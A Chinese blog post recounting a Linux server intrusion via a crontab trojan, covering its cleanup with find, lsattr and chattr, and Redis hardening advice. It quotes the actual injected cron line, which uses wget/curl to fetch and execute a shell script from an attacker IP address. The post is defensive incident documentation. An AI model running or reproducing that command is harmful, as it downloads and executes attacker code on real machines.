当前位置: 首页 > news >正文

记录一次服务器被(crontab)木马入侵事件

背景:发现平时正常登录的服务器突然进不去,也没明显的错误,重启也登录不了!

可能的原因,内存/CPU满了

重启通过用户模式进入,查看进程发现有个定时任务一直在自动创建并执行(进程ID一直在变化,而且占满CPU,杀死之后马上又复活了,重启也一样),怀疑被入侵了

木马文件:

全局查找,防止遗漏,点开查看确认二次确认确实是木马文件才清理

find /  -name 'logrotate'

异常计划:

解决办法:

1 重装系统

2 手动清除异常文件(直到异常进程不在出现)

查看系统级的 cron 计划任务
        /etc/crontab 文件包含了系统的 cron 任务定义。
        /etc/cron.d 目录可能包含额外的 cron 配置文件。
        /etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, 和 /etc/cron.monthly 目录分别包含每小时、每天、每周和每月执行的脚本。

定位 /etc/crontab 是这个文件被植入了 @daily source <(wget -q -O - http://185.196.8.123/logservice.sh || curl -sL http://185.196.8.123/logservice.sh) 但是提示 是readonly 没法删除

执行 lsattr 加文件名看下是否有隐藏权限,并解除 chattr -i 加文件名

清除木马程序和所有crontab 异常计划后,重置服务器密码,重启服务器

后面反馈运营商排查入侵原因,可能是通过 redis 默认端口或者nacos 漏洞

更改reids 默认端口和密码,升级nacos,然后我们的业务不需要用到境外IP,所以干脆就直接禁用境外IP

Redis默认配置下可能存在一些安全风险,使得它容易成为攻击目标。以下是Redis可能遭受入侵的一些主要原因:

  1. 默认无密码认证: Redis在默认配置下是不启用密码认证的,这意味着任何能够访问Redis服务器IP和端口的客户端都可以无限制地读取和操作数据。
  2. 默认监听所有网络接口: Redis默认配置下会监听所有的网络接口(bind 0.0.0.0),这意味着如果Redis服务器暴露在公网上,任何互联网上的主机都可以尝试连接到Redis服务。
  3. 使用默认端口: Redis的默认端口是6379,这是一个众所周知的端口,攻击者会专门扫描这个端口寻找未保护的Redis实例。
  4. 远程命令执行: Redis允许执行各种管理命令,如FLUSHALL(清除所有数据)、CONFIG GET和CONFIG SET(获取和设置配置项)。如果Redis暴露在公网并且没有密码保护,攻击者可以利用这些命令执行恶意操作,比如清空数据、更改配置,甚至通过EVAL命令注入Lua脚本来执行任意代码。
  5. 未授权访问: 如果Redis服务没有正确配置防火墙规则,未授权的用户可能会访问Redis服务,进而读取敏感数据或修改数据。
  6. 弱密码或密码泄露: 即使设置了密码,如果密码强度不够或被泄露,攻击者仍然可能通过暴力破解或已知密码列表来获得访问权限。

为了避免Redis遭受入侵,开发者应当采取一系列的安全措施,包括但不限于:

  • 设置强密码:为Redis配置一个复杂的密码,限制未授权的访问。
  • 更改默认端口:避免使用默认的6379端口,减少被扫描的机会。
  • 限制网络访问:通过防火墙规则限制Redis只能被可信的IP地址访问,避免暴露在公网。
  • 禁用危险命令:在配置文件中禁用或限制EVAL、CONFIG等可能被滥用的命令。
  • 使用TLS/SSL加密:对Redis通信进行加密,防止数据在传输过程中被截获。

通过这些措施,可以显著提高Redis的安全性,降低被入侵的风险。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 【Nuxt】服务端渲染 SSR
  • [Meachines] [Easy] Mirai Raspberry树莓派默认用户登录+USB挂载文件读取
  • 栈和队列——2.逆波兰表达式求值
  • ReactiveStream
  • 智慧水务项目(二)django(drf)+angular 18 创建通用model,并对orm常用字段进行说明
  • 23. Hibernate 性能之缓存与缓存算法
  • Java重修笔记 第二十七天 匿名内部类
  • 用Python实现AI人脸识别
  • 如何开启idea中的断言功能?
  • 纯原创【车牌识别】基于图像处理的车牌识别——matlab项目实战(含GUI界面)详解
  • 最佳编程语言选择与学习路径探讨
  • 一文掌握Python全部条件执行语句(基础篇)
  • vue开启keep-alive缓存时,关于子组件上使用:key=“id“的问题以及解决方案
  • 5G三大场景:eMBB、mMTC、uRLLC
  • VMware Workstation17 安装 Windows 10 操作系统
  • python3.6+scrapy+mysql 爬虫实战
  • 《用数据讲故事》作者Cole N. Knaflic:消除一切无效的图表
  • 【刷算法】求1+2+3+...+n
  • 2017届校招提前批面试回顾
  • CSS魔法堂:Absolute Positioning就这个样
  • FineReport中如何实现自动滚屏效果
  • HTTP中的ETag在移动客户端的应用
  • JS正则表达式精简教程(JavaScript RegExp 对象)
  • Leetcode 27 Remove Element
  • mongodb--安装和初步使用教程
  • MYSQL 的 IF 函数
  • WinRAR存在严重的安全漏洞影响5亿用户
  • 笨办法学C 练习34:动态数组
  • 简单数学运算程序(不定期更新)
  • 前端面试之闭包
  • 深度学习入门:10门免费线上课程推荐
  • 跳前端坑前,先看看这个!!
  • - 语言经验 - 《c++的高性能内存管理库tcmalloc和jemalloc》
  • 怎么将电脑中的声音录制成WAV格式
  • ​卜东波研究员:高观点下的少儿计算思维
  • ###项目技术发展史
  • #1015 : KMP算法
  • #define MODIFY_REG(REG, CLEARMASK, SETMASK)
  • #中的引用型是什么意识_Java中四种引用有什么区别以及应用场景
  • (MATLAB)第五章-矩阵运算
  • (二) 初入MySQL 【数据库管理】
  • (免费领源码)python+django+mysql线上兼职平台系统83320-计算机毕业设计项目选题推荐
  • (欧拉)openEuler系统添加网卡文件配置流程、(欧拉)openEuler系统手动配置ipv6地址流程、(欧拉)openEuler系统网络管理说明
  • (四)事件系统
  • (太强大了) - Linux 性能监控、测试、优化工具
  • (自用)gtest单元测试
  • ***监测系统的构建(chkrootkit )
  • .cn根服务器被攻击之后
  • .Net Core 中间件与过滤器
  • .NET Core、DNX、DNU、DNVM、MVC6学习资料
  • .NET 服务 ServiceController
  • .NET/C# 异常处理:写一个空的 try 块代码,而把重要代码写到 finally 中(Constrained Execution Regions)
  • .Net插件开发开源框架
  • .net打印*三角形
  • .NET国产化改造探索(三)、银河麒麟安装.NET 8环境